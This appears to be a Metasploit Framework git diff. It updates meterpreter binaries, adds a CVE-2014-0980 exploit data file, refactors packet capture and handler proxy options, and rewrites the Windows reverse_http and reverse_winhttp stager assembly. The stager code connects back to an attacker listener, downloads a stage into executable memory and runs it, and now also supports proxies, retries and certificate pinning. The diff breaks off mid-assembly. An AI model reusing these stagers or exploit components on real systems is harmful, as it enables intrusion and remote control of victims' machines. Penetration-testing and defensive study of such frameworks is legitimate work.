diff --git a/data/exploits/CVE-2014-0980.pui b/data/exploits/CVE-2014-0980.pui new file mode 100644 index 0000000000..e5adbbb801 Binary files /dev/null and b/data/exploits/CVE-2014-0980.pui differ diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso index dfc11e7b7d..e4b7a9a911 100755 Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso index 14f9efd376..6f1a3cfb58 100755 Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso index 3690cf6fbf..593caf386e 100755 Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin index d508fd9f22..8ca96330f0 100644 Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ diff --git a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm index 32ba7ff12b..7578b590c1 100644 --- a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm @@ -145,7 +145,7 @@ download_more: test eax,eax ; download failed? (optional?) jz failure - mov rax, [rdi] + mov ax, word ptr [edi] add rbx, rax ; buffer += bytes_received test rax,rax ; optional? diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 1f76773a49..0d494ec42a 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -42,7 +42,7 @@ module Msf [ true, 'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC', - 'www.metasploit.com']), + '8.8.8.8']), OptPort.new('GATEWAY_PROBE_PORT', [ false, @@ -143,7 +143,6 @@ module Msf return unless self.capture self.capture = nil self.arp_capture = nil - GC.start() end def capture_extract_ies(raw) @@ -163,26 +162,15 @@ module Msf end # - # This monstrosity works around a series of bugs in the interrupt - # signal handling of Ruby 1.9 + # Loop through each packet # def each_packet return unless capture - begin - @capture_count = 0 - reader = framework.threads.spawn("PcapReceiver", false) do - capture.each do |pkt| - yield(pkt) - @capture_count += 1 - end - end - reader.join - rescue ::Exception - raise $! - ensure - reader.kill if reader.alive? + @capture_count ||= 0 + capture.each do |pkt| + yield(pkt) + @capture_count += 1 end - @capture_count end @@ -242,10 +230,9 @@ module Msf pcap.inject(pkt) Rex.sleep((delay * 1.0)/1000) end - GC.start end - # Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires + # capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires # a payload and a destination address. To send to the broadcast address, set bcast # to true (this will guarantee that packets will be sent even if ARP doesn't work # out). @@ -262,24 +249,20 @@ module Msf # The return value either be a PacketFu::Packet object, or nil def inject_reply(proto=:udp, pcap=self.capture) - reply = nil - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - if not pcap - raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" - else - begin - ::Timeout.timeout(to) do - pcap.each do |r| - packet = PacketFu::Packet.parse(r) - next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto - reply = packet - break - end + # Defaults to ~2 seconds + to = (datastore['TIMEOUT'] * 4) / 1000.0 + raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap + begin + ::Timeout.timeout(to) do + pcap.each do |r| + packet = PacketFu::Packet.parse(r) + next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto + return packet end - rescue ::Timeout::Error end + rescue ::Timeout::Error end - return reply + nil end # This ascertains the correct Ethernet addresses one should use to @@ -328,20 +311,19 @@ module Msf end begin - to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0 + to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 ::Timeout.timeout(to) do - while (my_packet = inject_reply(:udp, self.arp_capture)) - if my_packet.payload == secret - dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr - src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr - return [dst_mac, src_mac] - else - next - end + loop do + my_packet = inject_reply(:udp, self.arp_capture) + next unless my_packet + next unless my_packet.payload == secret + dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr + src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr + return [dst_mac, src_mac] end end rescue ::Timeout::Error - # Well, that didn't work (this common on networks where there's no gatway, like + # Well, that didn't work (this is common on networks where there's no gateway, like # VMWare network interfaces. We'll need to use a fake source hardware address. self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00" end @@ -354,26 +336,31 @@ module Msf return self.arp_cache[:gateway] unless should_arp? target_ip source_ip = Rex::Socket.source_address(target_ip) raise RuntimeError, "Could not access the capture process." unless self.arp_capture + p = arp_packet(target_ip, source_ip) - inject_eth(:eth_type => 0x0806, - :payload => p, - :pcap => self.arp_capture, - :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] - ) - begin - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - ::Timeout.timeout(to) do - while (my_packet = inject_reply(:arp, self.arp_capture)) - if my_packet.arp_saddr_ip == target_ip + + # Try up to 3 times to get an ARP response + 1.upto(3) do + inject_eth(:eth_type => 0x0806, + :payload => p, + :pcap => self.arp_capture, + :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] + ) + begin + to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 + ::Timeout.timeout(to) do + loop do + my_packet = inject_reply(:arp, self.arp_capture) + next unless my_packet + next unless my_packet.arp_saddr_ip == target_ip self.arp_cache[target_ip] = my_packet.eth_saddr return self.arp_cache[target_ip] - else - next end end + rescue ::Timeout::Error end - rescue ::Timeout::Error end + nil end # Creates a full ARP packet, mainly for use with inject_eth() diff --git a/lib/msf/core/exploit/ipv6.rb b/lib/msf/core/exploit/ipv6.rb index 8a7545381c..7102adcea1 100644 --- a/lib/msf/core/exploit/ipv6.rb +++ b/lib/msf/core/exploit/ipv6.rb @@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6 return if not @ipv6_icmp6_capture @ipv6_icmp6_capture = nil - GC.start() end # diff --git a/lib/msf/core/handler/reverse_hop_http.rb b/lib/msf/core/handler/reverse_hop_http.rb index 6f4f635239..daed63cfd8 100644 --- a/lib/msf/core/handler/reverse_hop_http.rb +++ b/lib/msf/core/handler/reverse_hop_http.rb @@ -256,11 +256,11 @@ module ReverseHopHttp :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxyhost => datastore['PROXYHOST'], - :proxyport => datastore['PROXYPORT'], - :proxy_type => datastore['PROXY_TYPE'], - :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass'] blob = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 9cf1171805..be367dadb6 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -58,18 +58,12 @@ module ReverseHttp ], Msf::Handler::ReverseHttp) end - # Toggle for IPv4 vs IPv6 mode - # - def ipv6? - Rex::Socket.is_ipv6?(datastore['LHOST']) - end - # Determine where to bind the server # # @return [String] def listener_address - if datastore['ReverseListenerBindAddress'].to_s.empty? - bindaddr = (ipv6?) ? '::' : '0.0.0.0' + if datastore['ReverseListenerBindAddress'].to_s == "" + bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' else bindaddr = datastore['ReverseListenerBindAddress'] end @@ -77,14 +71,12 @@ module ReverseHttp bindaddr end + # Return a URI suitable for placing in a payload + # # @return [String] A URI of the form +scheme://host:port/+ def listener_uri - if ipv6? - listen_host = "[#{listener_address}]" - else - listen_host = listener_address - end - "#{scheme}://#{listen_host}:#{datastore['LPORT']}/" + uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address + "#{scheme}://#{uri_host}:#{datastore['LPORT']}/" end # Return a URI suitable for placing in a payload. @@ -158,6 +150,7 @@ module ReverseHttp 'VirtualDirectory' => true) print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}") + lookup_proxy_settings end # @@ -175,6 +168,45 @@ module ReverseHttp protected + # + # Parses the proxy settings and returns a hash + # + def lookup_proxy_settings + info = {} + return @proxy_settings if @proxy_settings + + if datastore['PayloadProxyHost'].to_s == "" + @proxy_settings = info + return @proxy_settings + end + + info[:host] = datastore['PayloadProxyHost'].to_s + info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i + info[:type] = datastore['PayloadProxyType'].to_s + + uri_host = info[:host] + + if Rex::Socket.is_ipv6?(uri_host) + uri_host = "[#{info[:host]}]" + end + + info[:info] = "#{uri_host}:#{info[:port]}" + + if info[:type] == "SOCKS" + info[:info] = "socks=#{info[:info]}" + else + info[:info] = "http://#{info[:info]}" + if datastore['PayloadProxyUser'].to_s != "" + info[:username] = datastore['PayloadProxyUser'].to_s + end + if datastore['PayloadProxyPass'].to_s != "" + info[:password] = datastore['PayloadProxyPass'].to_s + end + end + + @proxy_settings = info + end + # # Parses the HTTPS request # @@ -204,8 +236,8 @@ protected blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}") blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'") - unless datastore['PROXYHOST'].blank? - proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}" + unless datastore['PayloadProxyHost'].blank? + proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}" blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'") end @@ -268,11 +300,11 @@ protected :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], - :proxyhost => datastore['PROXYHOST'], - :proxyport => datastore['PROXYPORT'], - :proxy_type => datastore['PROXY_TYPE'], - :proxy_username => datastore['PROXY_USERNAME'], - :proxy_password => datastore['PROXY_PASSWORD'] + :proxy_host => datastore['PayloadProxyHost'], + :proxy_port => datastore['PayloadProxyPort'], + :proxy_type => datastore['PayloadProxyType'], + :proxy_user => datastore['PayloadProxyUser'], + :proxy_pass => datastore['PayloadProxyPass'] resp.body = encode_stage(blob) diff --git a/lib/msf/core/handler/reverse_https_proxy.rb b/lib/msf/core/handler/reverse_https_proxy.rb index 35e5a40cb7..535cf01219 100644 --- a/lib/msf/core/handler/reverse_https_proxy.rb +++ b/lib/msf/core/handler/reverse_https_proxy.rb @@ -40,11 +40,11 @@ module ReverseHttpsProxy [ OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]), OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), - OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]), - OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]), - OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]), - OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]), - OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"]) + OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]), + OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]), + OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]), + OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]), + OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"]) ], Msf::Handler::ReverseHttpsProxy) register_advanced_options( diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 55d33c78fa..e3762a0bd1 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -27,7 +27,13 @@ module Payload::Windows::ReverseHttp super register_advanced_options( [ - OptInt.new('HTTPStagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']) + OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), + OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), + OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), + OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']), + OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]) ], self.class) end @@ -41,7 +47,8 @@ module Payload::Windows::ReverseHttp ssl: false, host: datastore['LHOST'], port: datastore['LPORT'], - url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)) + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -49,7 +56,13 @@ module Payload::Windows::ReverseHttp host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'] + exitfunk: datastore['EXITFUNC'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + proxy_user: datastore['PayloadProxyUser'], + proxy_pass: datastore['PayloadProxyPass'], + proxy_type: datastore['PayloadProxyType'], + retry_count: datastore['StagerRetryCount'] } generate_reverse_http(conf) @@ -75,7 +88,7 @@ module Payload::Windows::ReverseHttp # def generate_uri - uri_req_len = datastore['HTTPStagerURILength'].to_i + uri_req_len = datastore['StagerURILength'].to_i # Choose a random URI length between 30 and 255 bytes if uri_req_len == 0 @@ -83,7 +96,7 @@ module Payload::Windows::ReverseHttp end if uri_req_len < 5 - raise ArgumentError, "Minimum HTTPStagerURILength is 5" + raise ArgumentError, "Minimum StagerURILength is 5" end "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len) @@ -112,23 +125,49 @@ module Payload::Windows::ReverseHttp # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) space += 31 + # Proxy options? + space += 200 + # The final estimated size space end # - # Dynamic payload generation + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [String] :proxy_host The optional proxy server host to use + # @option opts [Fixnum] :proxy_port The optional proxy server port to use + # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS + # @option opts [String] :proxy_user The optional proxy server username + # @option opts [String] :proxy_pass The optional proxy server password + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # def asm_reverse_http(opts={}) - # - # options should contain: - # ssl: (true|false) - # url: "/url_to_request" - # host: [hostname] - # port: [port] - # exitfunk: [process|thread|seh|sleep] - # + retry_count = [opts[:retry_count].to_i, 1].max + proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) + proxy_info = "" + + if proxy_enabled + if opts[:proxy_type].to_s.downcase == "socks" + proxy_info << "socks=" + else + proxy_info << "http://" + end + + proxy_info << opts[:proxy_host].to_s + if opts[:proxy_port].to_i > 0 + proxy_info << ":#{opts[:proxy_port]}" + end + end + + proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user] + proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass] http_open_flags = 0 @@ -153,14 +192,11 @@ module Payload::Windows::ReverseHttp asm = %Q^ ;-----------------------------------------------------------------------------; - ; Author: HD Moore - ; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 + ; Compatible: Confirmed Windows 8.1, Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 ; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) - ; Version: 1.0 ;-----------------------------------------------------------------------------; ; Input: EBP must be the address of 'api_call'. - ; Output: EDI will be the socket for the connection to the server ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) load_wininet: push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. @@ -168,53 +204,108 @@ module Payload::Windows::ReverseHttp push esp ; Push a pointer to the "wininet" string on the stack. push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "wininet" ) + xor ebx, ebx ; Set ebx to NULL to use in future arguments + ^ - set_retry: - push.i8 8 ; retry 8 times should be enough - pop edi - xor ebx, ebx ; push 8 zeros ([1]-[8]) - mov ecx, edi - push_zeros: - push ebx - loop push_zeros - - internetopen: - ; DWORD dwFlags [1] - ; LPCTSTR lpszProxyBypass (NULL) [2] - ; LPCTSTR lpszProxyName (NULL) [3] - ; DWORD dwAccessType (PRECONFIG = 0) [4] - ; LPCTSTR lpszAgent (NULL) [5] - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp + if proxy_enabled + asm << %Q^ + internetopen: + push ebx ; DWORD dwFlags + push esp ; LPCTSTR lpszProxyBypass ("" = empty string) + call get_proxy_server + db "#{proxy_info}", 0x00 + get_proxy_server: + ; LPCTSTR lpszProxyName (via call) + push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3) + push ebx ; LPCTSTR lpszAgent (NULL) + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + ^ + else + asm << %Q^ + internetopen: + push ebx ; DWORD dwFlags + push ebx ; LPCTSTR lpszProxyBypass (NULL) + push ebx ; LPCTSTR lpszProxyName (NULL) + push ebx ; DWORD dwAccessType (PRECONFIG = 0) + push ebx ; LPCTSTR lpszAgent (NULL) + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + ^ + end + asm << %Q^ internetconnect: - ; DWORD_PTR dwContext (NULL) [6] - ; dwFlags [7] - push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ebx ; DWORD_PTR dwContext (NULL) + push ebx ; dwFlags + push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) push ebx ; password (NULL) push ebx ; username (NULL) push #{opts[:port]} ; PORT call got_server_uri ; double call to get pointer for both server_uri and - server_uri: ; server_host; server_uri is saved in EDI for later + server_uri: ; server_host; server_uri is saved in EDI for later db "#{opts[:url]}", 0x00 got_server_host: - push eax ; HINTERNET hInternet + push eax ; HINTERNET hInternet (still in eax from InternetOpenA) push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp + mov esi, eax ; Store hConnection in esi + ^ + # Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it + # doesn't set the Proxy-Authorization header on the CONNECT request. + + if proxy_enabled && proxy_user + asm << %Q^ + ; DWORD dwBufferLength (length of username) + push #{proxy_user.length} + call set_proxy_username + proxy_username: + db "#{proxy_user}",0x00 + set_proxy_username: + ; LPVOID lpBuffer (username from previous call) + push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME) + push esi ; hConnection + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ + end + + if proxy_enabled && proxy_pass + asm << %Q^ + ; DWORD dwBufferLength (length of password) + push #{proxy_pass.length} + call set_proxy_password + proxy_password: + db "#{proxy_pass}",0x00 + set_proxy_password: + ; LPVOID lpBuffer (password from previous call) + push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD) + push esi ; hConnection + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + ^ + end + + asm << %Q^ httpopenrequest: - ; dwContext (NULL) [8] + push ebx ; dwContext (NULL) push #{"0x%.8x" % http_open_flags} ; dwFlags push ebx ; accept types push ebx ; referrer push ebx ; version push edi ; server URI push ebx ; method - push eax ; hConnection + push esi ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp xchg esi, eax ; save hHttpRequest in esi + ; Store our retry counter in the edi register + set_retry: + push #{retry_count} + pop edi + send_request: ^ @@ -229,9 +320,9 @@ module Payload::Windows::ReverseHttp ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION mov eax, esp - push.i8 4 ; sizeof(dwFlags) + push 4 ; sizeof(dwFlags) push eax ; &dwFlags - push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) call ebp @@ -272,7 +363,7 @@ module Payload::Windows::ReverseHttp asm << %Q^ allocate_memory: - push.i8 0x40 ; PAGE_EXECUTE_READWRITE + push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is diff --git a/lib/msf/core/payload/windows/reverse_https.rb b/lib/msf/core/payload/windows/reverse_https.rb index b22ebbe048..7b61d72aec 100644 --- a/lib/msf/core/payload/windows/reverse_https.rb +++ b/lib/msf/core/payload/windows/reverse_https.rb @@ -40,10 +40,11 @@ module Payload::Windows::ReverseHttps # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space return generate_reverse_https( + ssl: true, host: datastore['LHOST'], port: datastore['LPORT'], - url: "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW), - ssl: true) + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -51,7 +52,13 @@ module Payload::Windows::ReverseHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'] + exitfunk: datastore['EXITFUNC'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + proxy_user: datastore['PayloadProxyUser'], + proxy_pass: datastore['PayloadProxyPass'], + proxy_type: datastore['PayloadProxyType'], + retry_count: datastore['StagerRetryCount'] } generate_reverse_https(conf) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index bbb4d94575..8a5be39790 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -36,7 +36,8 @@ module Payload::Windows::ReverseWinHttp ssl: false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri) + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -44,7 +45,8 @@ module Payload::Windows::ReverseWinHttp host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'] + exitfunk: datastore['EXITFUNC'], + retry_count: datastore['StagerRetryCount'] } generate_reverse_winhttp(conf) @@ -98,23 +100,32 @@ module Payload::Windows::ReverseWinHttp join(",") end + # - # Dynamic payload generation + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation + # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # def asm_reverse_winhttp(opts={}) + retry_count = [opts[:retry_count].to_i, 1].max + verify_ssl = nil + encoded_cert_hash = nil + encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_host = asm_generate_wchar_array(opts[:host]) - # - # options should contain: - # ssl: (true|false) - # url: "/url_to_request" - # host: [hostname] - # port: [port] - # exitfunk: [process|thread|seh|sleep] - # + if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] + verify_ssl = true + encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") + end - encoded_url = asm_generate_wchar_array(opts[:url]) - encoded_host = asm_generate_wchar_array(opts[:host]) http_open_flags = 0 @@ -137,46 +148,52 @@ module Payload::Windows::ReverseWinHttp push esp ; Push a pointer to the "winhttp" string push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA( "winhttp" ) + ^ - set_retry: - push.i8 6 ; retry 6 times - pop edi - xor ebx, ebx - mov ecx, edi + if verify_ssl + asm << %Q^ + load_crypt32: + push 0x00323374 ; Push the string 'crypt32',0 + push 0x70797263 ; ... + push esp ; Push a pointer to the "crypt32" string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wincrypt" ) + ^ + end - push_zeros: - push ebx ; NULL values for the WinHttpOpen API parameters - loop push_zeros + asm << %Q^ + + xor ebx, ebx WinHttpOpen: - ; Flags [5] - ; ProxyBypass (NULL) [4] - ; ProxyName (NULL) [3] - ; AccessType (DEFAULT_PROXY= 0) [2] - ; UserAgent (NULL) [1] + push ebx ; Flags + push ebx ; ProxyBypass (NULL) + push ebx ; ProxyName (NULL) + push ebx ; AccessType (DEFAULT_PROXY= 0) + push ebx ; UserAgent (NULL) [1] push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" ) call ebp WinHttpConnect: - push ebx ; Reserved (NULL) [4] + push ebx ; Reserved (NULL) push #{opts[:port]} ; Port [3] call got_server_uri ; Double call to get pointer for both server_uri and - server_uri: ; server_host; server_uri is saved in EDI for later + server_uri: ; server_host; server_uri is saved in edi for later db #{encoded_url} got_server_host: - push eax ; Session handle returned by WinHttpOpen [1] + push eax ; Session handle returned by WinHttpOpen push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" ) call ebp WinHttpOpenRequest: - push.i32 #{"0x%.8x" % http_open_flags} - push ebx ; AcceptTypes (NULL) [6] - push ebx ; Referrer (NULL) [5] - push ebx ; Version (NULL) [4] - push edi ; ObjectName (URI) [3] - push ebx ; Verb (GET method) (NULL) [2] - push eax ; Connect handler returned by WinHttpConnect [1] + push #{"0x%.8x" % http_open_flags} + push ebx ; AcceptTypes (NULL) + push ebx ; Referrer (NULL) + push ebx ; Version (NULL) + push edi ; ObjectName (URI) + push ebx ; Verb (GET method) (NULL) + push eax ; Connect handle returned by WinHttpConnect push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" ) call ebp xchg esi, eax ; save HttpRequest handler in esi @@ -192,9 +209,9 @@ module Payload::Windows::ReverseWinHttp ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA mov eax, esp - push.i8 4 ; sizeof(buffer) + push 4 ; sizeof(buffer) push eax ; &buffer - push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) + push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" ) call ebp @@ -202,6 +219,11 @@ module Payload::Windows::ReverseWinHttp end asm << %Q^ + ; Store our retry counter in the edi register + set_retry: + push #{retry_count} + pop edi + send_request: WinHttpSendRequest: @@ -215,7 +237,7 @@ module Payload::Windows::ReverseWinHttp push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" ) call ebp test eax,eax - jnz receive_response ; if TRUE call WinHttpReceiveResponse API + jnz check_response ; if TRUE call WinHttpReceiveResponse API try_it_again: dec edi @@ -237,12 +259,79 @@ module Payload::Windows::ReverseWinHttp ^ end + # Jump target if the request was sent successfully + asm << %Q^ + check_response: + ^ + + # Verify the SSL certificate hash + if verify_ssl + + asm << %Q^ + ssl_cert_get_context: + push 4 + mov ecx, esp ; Allocate &bufferLength + push 0 + mov ebx, esp ; Allocate &buffer (ebx will point to *pCert) + + push ecx ; &bufferLength + push ebx ; &buffer + push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) + push esi ; hHttpRequest + push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" ) + call ebp + test eax, eax ; + jz failure ; Bail out if we couldn't get the certificate context + + ; ebx + ssl_cert_allocate_hash_space: + push 20 ; + mov ecx, esp ; Store a reference to the address of 20 + sub esp,[ecx] ; Allocate 20 bytes for the hash output + mov edi, esp ; edi will point to our buffer + + ssl_cert_get_server_hash: + push ecx ; &bufferLength + push edi ; &buffer (20-byte SHA1 hash) + push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) + push [ebx] ; *pCert + push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" ) + call ebp 